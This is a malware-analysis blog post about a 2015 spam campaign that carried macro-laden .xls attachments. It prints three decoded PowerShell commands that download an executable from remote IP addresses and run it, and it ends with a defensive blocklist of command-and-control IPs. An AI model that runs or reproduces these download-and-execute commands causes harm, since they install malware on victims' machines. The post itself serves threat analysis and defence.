Malware spam: "Re: Data request [ID:91460-2234721]" / "Copy of transaction"

This rather terse spam comes with a a malicious attachment:

From: Rosemary Gibbs
Date:    16 February 2015 at 10:12
Subject:    Re: Data request [ID:91460-2234721]

Copy of transaction.

The sender's name, the ID: number and the name of the attachment vary in each case. Example attachment names are

869B54732.xls
BE75129513.xls
C39189051.xls

None of the three attachments are detected by anti-virus vendors [1] [2] [3]. They each contain a slightly different macro [1] [2] [3]. The critical part of the encoded macro looks like this (click to enlarge):

It's quite apparent that this is ROT13 encoded which you can easily decrypt at rot13.com rather than working through the macro. These three samples give us:

"cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://85.143.166.140/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','%TEMP%\JIOiodfhioIH.exe');Start-Process '%TEMP%\JIOiodfhioIH.exe';" 

"cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.104/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','%TEMP%\JIOiodfhioIH.exe');Start-Process '%TEMP%\JIOiodfhioIH.exe';" 

"cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://5.196.175.140/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','%TEMP%\JIOiodfhioIH.exe');Start-Process '%TEMP%\JIOiodfhioIH.exe';"

So, these macros are attempting to use Powershell to download and execute the next step (possibly to avoid the UAC popup). The downloaded binary has a VirusTotal detection rate of 3/57 and automated analysis tools [1] [2] [3] show attempted communications with:

85.143.166.72 (Pirix, Russia)
205.185.119.159 (FranTech Solutions, US)
92.63.88.87 (MWTV, Latvia)
173.226.183.204 (TW Telecom, Taiwan)
27.5.199.115 (Hathway Cable and Datacom, India)
149.171.76.124 (University Of New South Wales, Australia)
46.19.143.151 (Private Layer, Switzerland)

It also drops a DLL with a 4/57 detection rate which is the same malware seen in this attack.

Recommended blocklist:
85.143.166.72
205.185.119.159
92.63.88.87
173.226.183.204
27.5.199.115
149.171.76.124
46.19.143.151